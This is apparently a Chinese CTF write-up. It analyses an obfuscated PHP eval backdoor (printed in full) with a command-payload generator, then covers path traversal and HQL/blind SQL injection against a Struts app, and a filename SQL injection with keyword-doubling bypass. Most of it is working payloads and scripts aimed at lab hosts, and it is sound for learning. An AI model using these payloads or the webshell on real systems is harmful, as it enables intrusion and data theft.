$kh="42f7";$kf="e9ac";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}<script>
(function() {
var ws = new WebSocket('ws://' + window.location.host +
'/jb-server-page?reloadMode=RELOAD_ON_SAVE&'+
'referrer=' + encodeURIComponent(window.location.pathname));
ws.onmessage = function (msg) {
if (msg.data === 'reload') {
window.location.reload();
}
if (msg.data.startsWith('update-css ')) {
var messageId = msg.data.substring(11);
var links = document.getElementsByTagName('link');
for (var i = 0; i < links.length; i++) {
var link = links[i];
if (link.rel !== 'stylesheet') continue;
var clonedLink = link.cloneNode(true);
var newHref = link.href.replace(/(&|\?)jbUpdateLinksId=\d+/, "$1jbUpdateLinksId=" + messageId);
if (newHref !== link.href) {
clonedLink.href = newHref;
}
else {
var indexOfQuest = newHref.indexOf('?');
if (indexOfQuest >= 0) {
// to support ?foo#hash
clonedLink.href = newHref.substring(0, indexOfQuest + 1) + 'jbUpdateLinksId=' + messageId + '&' +
newHref.substring(indexOfQuest + 1);
}
else {
clonedLink.href += '?' + 'jbUpdateLinksId=' + messageId;
}
}
link.replaceWith(clonedLink);
}
}
};
})();

这一步是吧诸多变量拼接后吧)m换为空

发现还有一层混淆

x($t,$k) 函数是个循环异或函数,结合 base64 函数、gzcompress() 等函数看可能有 HTTP 请求和响应过程中的编码和加密。Payload 是从仅有的输入 $_SERVER["HTTP_ACCEPT_LANGUAGE"]$_SERVER["HTTP_REFERER"] 中来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php
$kh="4f7f";
$kf="28d7";

// 循环异或加密解密,密钥 $k
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra){
// 将 referer 的 query string 的 各个 value 取出到 $q
$u=parse_url($rr); // parse referer, return array, keys: scheme,host,port,user,pass,path,query,fragment
parse_str($u["query"],$q); // parse query string into $q (array).
$q=array_values($q); // array values

// 分析 Accept-Language,提取 每种语言的首字母和权重数字。
// Searches $ra for all matches to the regular expression given and puts them in $m
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
if($q&&$m){
@session_start();
$s=&$_SESSION;
$ss="substr";
$sl="strtolower";
$i=$m[1][0].$m[1][1]; // 两组首字母
$h=$sl($ss(md5($i.$kh),0,3)); // md5($i . $kh) 的前三个字符小写。攻击时附在 $p 开头
$f=$sl($ss(md5($i.$kf),0,3)); // $p 是编码后 Payload,攻击时附加到 $p 后面

// 拼接 Payload
$p="";
for($z=1;$z<count($m[1]);$z++) // 从 $q 中取出 $m 正则匹配到的第 2 组中索引 1 -- count($m[1])-1 的值 (0-9) 作为键的值连接,得到 $p
$p.=$q[$m[2][$z]]; // 上例(language), $p .= $q[8]


// 去除 $p Payload 开头的 $h
if(strpos($p,$h)===0){ // $h 在 $p[0] 位置出现。
$s[$i]=""; // $_SESSION[$i] = '', $i 是正则匹配到的两组首字母
$p=$ss($p,3); // $p 从第 3 个字符开始的子串,去掉 $h
}
if(array_key_exists($i,$s)){ // exist $s[$i], $_SESSION[$i] , if 条件必须有 上文 $h 在 $p[0] 位置出现
$s[$i].=$p;
$e=strpos($s[$i],$f); // $f 是 md5 前三个字符小写,在 $s[$i]
if($e){ // 必须有 $f 作为“停止字符串”
$k=$kh.$kf; // 4f7f28d7
ob_start();
/*
去除末尾的 $f
URL safe base64 还原为普通 base64
base64 解码
循环异或解密
zlib 解码,还原出 PHP 代码
执行 PHP 代码
*/
//@eval(@gzuncompress(@x(@base64_decode( preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e)) ),$k)));
echo "CMD WILL EXEC:\n<br />";
echo(@gzuncompress(@x(@base64_decode( preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e)) ),$k)));
$o=ob_get_contents(); // output
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k)); // 编码
print $o;
//print("<$k>$d</$k>");
@session_destroy();
}
}
}
}

其中的正则表达式匹配示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ra = 'zh-CN,zh;q=0.8,en;q=0.6';
$m = array (size=3)
0 =>
array (size=3)
0 => string 'zh-CN,' (length=6)
1 => string 'zh;q=0.8,' (length=9)
2 => string 'en;q=0.6' (length=8)
1 =>
array (size=3)
0 => string 'z' (length=1)
1 => string 'z' (length=1)
2 => string 'e' (length=1)
2 =>
array (size=3)
0 => string '' (length=0)
1 => string '8' (length=1)
2 => string '6' (length=1)

由此,理清这复杂的逻辑后可以写出以下 PHP 版 Payload 生成代码(针对 zh-CN,zh;q=0.8,en;q=0.6 这一种 Accept-Language):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
$kh="4f7f";
$kf="28d7";

$referer = 'http://example.com/?a=0&b=1&c=2&d=3&e=4&f=5&g=6&h=7&i=payloadhere';
$lang = 'zh-CN,zh;q=0.8,en;q=0.6';
$m = array (
0 => array (
0 => 'zh-CN,',
1 => 'zh;q=0.8,',
2 => 'en;q=0.6', ),
1 => array (
0 => 'z',
1 => 'z',
2 => 'e', ),
2 => array (
0 => '',
1 => '8',
2 => '6', ), );
$i = 'zz'; // $m[1][0] . $m[1][1]
$h=strtolower(substr(md5($i.$kh),0,3)); // 675
$f=strtolower(substr(md5($i.$kf),0,3)); // a3e

function x($t,$k){ // $k : xor key, $t: plain. loop xor encrypt $t.
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
$key = '4f7f28d7';
//$payload='phpinfo();';
$payload = $_GET['cmd'];
$payload = gzcompress($payload);
$payload = x($payload,$key);
$payload = base64_encode($payload);
$payload = preg_replace(array("/\//","/\+/"),array("_","-"), $payload);
$payload = $h . $payload . $f;
echo $payload;
echo "\n<br />\n";
$referer = "http://example.com/?a=0&b=1&c=2&d=3&e=4&f=5&g=6&h=7&i=$payload";
echo $referer;
echo "\n<br />\n";

对于 eval() 后的输出,有以下代码解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$kh="4f7f";
$kf="28d7";

// 循环异或,相同密钥 $k 既能加密也能解密
function x($t,$k){ // $k : xor key, $t: plain. loop xor encrypt $t.
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
$k=$kh.$kf; // 4f7f28d7

$output = 'TPocr/oUMjeWhOOCkOx2soCqqzIyf1IwLw==';
$o = base64_decode($output);
$o = x($o,$k);
echo gzuncompress($o);

伪造refer和language

1
2
3
4
5
6
7
8
9
10
11
12
GET /hack.php HTTP/1.1
Host: 61.147.171.105:55119
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Connection: close
Referer:http://220.249.52.133:50066/hack.php?0=1&1=1&2=1&3=1&4=1&5=1&6=1&7=e8b&8=TK5NmUkXKK7hYqkeM-7VZTQQjDM6&9=1ea
Cookie: isLogin=1;PHPSESSID=gh3p08dp7m4kav9mm1j53hvkh5;look-here=cookie.php
Upgrade-Insecure-Requests: 1


记得改语言和referer

HTTP_ACCEPT_LANGUAGE是这样:

1
zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7

最后构造的Referer如下:

1
Referer:http://220.249.52.133:50066/hack.php?0=1&1=1&2=1&3=1&4=1&5=1&6=1&7=e8b&8=TK5NmUkXKK7hYqkeM-7VZTQQjDM6&9=1ea

image-20240409194616813

拿到信息取用脚本解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
function x($t, $k) //$t=abc,$k=42f7e9ac $o=a^4.b^2.c^f a^key^key=a
{
$c = strlen($k); // 8
$l = strlen($t);
$o = "";
for ($i = 0; $i < $l;) {
for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
$o .= $t{$i} ^ $k{$j};
}
}
return $o;
}

$kh = "42f7";
$kf = "e9ac";
$k=$kh.$kf;
$data='TK4z/1Q3oUM8MqaqogGUIGwfdiYpXJGaeercamvideBzZ5d1RxPqdATshbA3SGHocZwqk9t4zZankyhVzO7KpBpDZAnIdEFr';
$data=base64_decode($data);
$data=x($data,$k);
$data=@gzuncompress($data);
echo $data;

image-20240409194743012

image-20240409195356388

image-20240409195407015

Zhuanxv

题目描述:

你只是在扫描目标端口的时候发现了一个开放的web服务

根据题目描述尝试扫扫目录

image-20240416203448632

访问/list有反应,跳转到登录页面了

页面发现类似于文件包含的可疑点

image-20240416203737407

看看框架,Java写的

image-20240416203851088

fuzz一下

1
wfuzz -w /usr/share/wfuzz/wordlist/Injections/test.txt -u "http://61.147.171.105:63284/loadimage?fileName=FUZZ"

发现了WEB-INF/web.xml,这是javaweb特有的配置读取

1
../../WEB-INF/web.xml

得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?xml version="1.0" encoding="UTF-8"?>
<web-app id="WebApp_9" version="2.4"
xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">
<display-name>Struts Blank</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>/ctfpage/index.jsp</welcome-file>
</welcome-file-list>
<error-page>
<error-code>404</error-code>
<location>/ctfpage/404.html</location>
</error-page>
</web-app>

发现struts2字样

该项目使用的struts2框架,struts.xml是struts2的核心配置文件,该文件主要负责管理应用中的Action映射,以及该Action包含的Result定义等,因此我们需要读取struts.xml看看,构造payload:

1
/loadimage?fileName=../../WEB-INF/classes/struts.xml

得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
"http://struts.apache.org/dtds/struts-2.3.dtd">
<struts>
<constant name="strutsenableDynamicMethodInvocation" value="false"/>
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
<constant name="struts.action.extension" value=","/>
<package name="front" namespace="/" extends="struts-default">
<global-exception-mappings>
<exception-mapping exception="java.lang.Exception" result="error"/>
</global-exception-mappings>
<action name="zhuanxvlogin" class="com.cuitctf.action.UserLoginAction" method="execute">
<result name="error">/ctfpage/login.jsp</result>
<result name="success">/ctfpage/welcome.jsp</result>
</action>
<action name="loadimage" class="com.cuitctf.action.DownloadAction">
<result name="success" type="stream">
<param name="contentType">image/jpeg</param>
<param name="contentDisposition">attachment;filename="bg.jpg"</param>
<param name="inputName">downloadFile</param>
</result>
<result name="suffix_error">/ctfpage/welcome.jsp</result>
</action>
</package>
<package name="back" namespace="/" extends="struts-default">
<interceptors>
<interceptor name="oa" class="com.cuitctf.util.UserOAuth"/>
<interceptor-stack name="userAuth">
<interceptor-ref name="defaultStack" />
<interceptor-ref name="oa" />
</interceptor-stack>

</interceptors>
<action name="list" class="com.cuitctf.action.AdminAction" method="execute">
<interceptor-ref name="userAuth">
<param name="excludeMethods">
execute
</param>
</interceptor-ref>
<result name="login_error">/ctfpage/login.jsp</result>
<result name="list_error">/ctfpage/welcome.jsp</result>
<result name="success">/ctfpage/welcome.jsp</result>
</action>
</package>
</struts>

里面有好多class文件

1
2
3
4
5
loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class
loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/DownloadAction.class
loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/AdminAction.class
loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/UserOAuth.class

UserLoginAction.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.cuitctf.action;

import com.cuitctf.po.User;
import com.cuitctf.service.UserService;
import com.cuitctf.util.InitApplicationContext;
import com.opensymphony.xwork2.ActionContext;
import com.opensymphony.xwork2.ActionSupport;
import java.util.List;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import org.springframework.context.ApplicationContext;

public class UserLoginAction extends ActionSupport {
private UserService userService;
private User user;

public UserLoginAction() {
ApplicationContext context = InitApplicationContext.getApplicationContext();
this.userService = (UserService)context.getBean("userService");
}

public String execute() throws Exception {
System.out.println("start:" + this.user.getName());
ActionContext actionContext = ActionContext.getContext();
Map<String, Object> request = (Map)actionContext.get("request");

try {
if (!this.userCheck(this.user)) {
request.put("error", "登录失败,请检查用户名和密码");
System.out.println("登陆失败");
return "error";
}
} catch (Exception var4) {
var4.printStackTrace();
throw var4;
}

System.out.println("login SUCCESS");
ActionContext.getContext().getSession().put("user", this.user);
return "success";
}

public boolean isValid(String username) {
String valiidateString = "[a-zA-Z0-9]{1-16}";
return matcher(valiidateString, username);
}

private static boolean matcher(String reg, String string) {
boolean tem = false;
Pattern pattern = Pattern.compile(reg);
Matcher matcher = pattern.matcher(string);
tem = matcher.matches();
return tem;
}

public boolean userCheck(User user) {
List<User> userList = this.userService.loginCheck(user.getName(), user.getPassword());
if (userList != null && userList.size() == 1) {
return true;
} else {
this.addActionError("Username or password is Wrong, please check!");
return false;
}
}

public UserService getUserService() {
return this.userService;
}

public void setUserService(UserService userService) {
this.userService = userService;
}

public User getUser() {
return this.user;
}

public void setUser(User user) {
this.user = user;
}
}

1
2
3
4
loadimage?fileName=../../WEB-INF/classes/com/cuitctf/po/User.class
loadimage?fileName=../../WEB-INF/classes/com/cuitctf/service/UserService.class
loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/InitApplicationContext.class

InitApplicationContext.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.cuitctf.util;

import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class InitApplicationContext {
private static ApplicationContext context = null;

private InitApplicationContext() {
}

public static ApplicationContext getApplicationContext() {
if (context == null) {
context = new ClassPathXmlApplicationContext("applicationContext.xml");
}

return context;
}
}

UserService.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.cuitctf.service;

import com.cuitctf.po.User;
import java.util.List;

public interface UserService {
List<User> findUserByName(String var1);

List<User> loginCheck(String var1, String var2);
}

User.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.cuitctf.po;

public class User {
private int id;
private String name;
private String password;

public User() {
}

public int getId() {
return this.id;
}

public void setId(int id) {
this.id = id;
}

public String getName() {
return this.name;
}

public void setName(String name) {
this.name = name;
}

public String getPassword() {
return this.password;
}

public void setPassword(String password) {
this.password = password;
}
}

image-20240416205802177

我们可以看到,加载应用的xml配置文件为applicationContext.xml,该文件一般是项目的启动配置文件,包括数据库等,同样构造payload,如下:

1
/loadimage?fileName=../../WEB-INF/classes/applicationContext.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
<property name="driverClassName">
<value>com.mysql.jdbc.Driver</value>
</property>
<property name="url">
<value>jdbc:mysql://localhost:3306/sctf</value>
</property>
<property name="username" value="root"/>
<property name="password" value="root" />
</bean>
<bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
<property name="dataSource">
<ref bean="dataSource"/>
</property>
<property name="mappingLocations">
<value>user.hbm.xml</value>
</property>
<property name="hibernateProperties">
<props>
<prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop>
<prop key="hibernate.show_sql">true</prop>
</props>
</property>
</bean>
<bean id="hibernateTemplate" class="org.springframework.orm.hibernate3.HibernateTemplate">
<property name="sessionFactory">
<ref bean="sessionFactory"/>
</property>
</bean>
<bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
<property name="sessionFactory">
<ref bean="sessionFactory"/>
</property>
</bean>
<bean id="service" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract="true">
<property name="transactionManager">
<ref bean="transactionManager"/>
</property>
<property name="transactionAttributes">
<props>
<prop key="add">PROPAGATION_REQUIRED</prop>
<prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>
</props>
</property>
</bean>
<bean id="userDAO" class="com.cuitctf.dao.impl.UserDaoImpl">
<property name="hibernateTemplate">
<ref bean="hibernateTemplate"/>
</property>
</bean>
<bean id="userService" class="com.cuitctf.service.impl.UserServiceImpl">
<property name="userDao">
<ref bean="userDAO"/>
</property>
</bean>
</beans>

可以看到使用了数据,还包含数据库账号密码

尝试读取一下

1
2
3
4
/loadimage?fileName=../../WEB-INF/classes/user.hbm.xml
loadimage?fileName=../../WEB-INF/classes/com/cuitctf/service/impl/UserServiceImpl.class
loadimage?fileName=../../WEB-INF/classes/com/cuitctf/dao/impl/UserDaoImpl.class

image-20240416210117899

看到里面暴露了反拉规所在的数据库表和

UserServiceImpl.class对输入做了点过滤

image-20240416210401293

UserDaoImpl.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.cuitctf.dao.impl;

import com.cuitctf.dao.UserDao;
import com.cuitctf.po.User;
import java.util.List;
import org.springframework.orm.hibernate3.support.HibernateDaoSupport;

public class UserDaoImpl extends HibernateDaoSupport implements UserDao {
public UserDaoImpl() {
}

public List<User> findUserByName(String name) {
return this.getHibernateTemplate().find("from User where name ='" + name + "'");
}

public List<User> loginCheck(String name, String password) {
return this.getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'");
}
}

这是个查询的类

可以尝试构造万能密码

1
2
3
4
5


from User where name ='admin' or '1'>'0' or name like 'admin' and password = '" + password + "'


UserServiceImpl.class反编译后代码中是对空格进行了过滤,而sql中对回车自动过滤, 因此我们可以将空格字符换成%0A(ascii码表示换行符)。于是使用hackbar进行翻译,得到新的注入sql的payload:

1
2
zhuanxvlogin?user.name=admin'%0Aor%0A'1'>'0'%0Aor%0Aname%0Alike%0A'admin&user.password=a

登陆成功

image-20240416210913165

点了一圈没什么卵用

前面发现flag在数据库里,注入喽

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

import requests
s=requests.session()
# url="http://61.147.171.105:63284"
flag=""
for i in range(1,50):
p=''
for j in range(1,255):
# payload="select ascii(substr(id, "+str(i)+", 1)) from Flag where id? < 2) < '"
payload="(select%0Aascii(substr(id,"+str(i)+",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'"+str(j)+"'"
url = "http://61.147.171.105:63284/zhuanxvlogin?user.name=admin'%0Aor%0A" + payload + "%0Aor%0Aname%0Alike%0A'admin&user.password=1"
# print(url)
r1=s.get(url)
if len(r1.text)>20000 and p!="":
flag+=p
print(i,flag)
break
p=chr(j)

upload

看着这个题这么多人解出,难度应该还可以,文件名注入,我还真是第一次见

首先注册登录上就会出现一个文件上传的页面

image-20240513165706675

dirseach扫目录发现文件包含的目录

image-20240513165729758

模糊测试一下他的文件名

image-20240513165907578

image-20240513174351581

发现被制为了空,我们猜一猜是双写绕过

1.把文件名改成 a’ +(selselectect conv(substr(hex(database()),1,12),16,10))+ ‘.jpg
① 这里使用substr的原因是当数字过长的时候会变成科学计数法,所以需要分批次来获取内容
②使用CONV是因为题目过滤了回显有字母的情况,如果出现了字母则后面的内容就不显示,所以需要将16进制的内容转成10进制
或者我们可以使用两次hex绕过也可以

发现这里返回了我们得值

image-20240513181931472

image-20240513181202565

分批次解密是web_upload

然后是查询表名:

1
s'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg  ->hello
1
s'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),13,12),16,10))+'.jpg-------------->结果为 flag_i
1
s'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),25,12),16,10))+'.jpg-------------->结果为 s_here

.然后是列名:(i_am_flag)

①s ‘+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = ‘hello_flag_is_here’ limit 0,1)),1,12),16,10))+’.jpg————->结果为 i_am_f

②s ‘+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = ‘hello_flag_is_here’ limit 0,1)),13,12),16,10))+’.jpg———–>结果为 lag

4.字段内容:(!!_@m_Th.e_F!lag)

①s ‘+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+’.jpg
——->结果为: !!@m

②s ‘+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+’.jpg
——->结果为: Th.e_F

③s ‘+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+’.jpg
——->结果为: !lag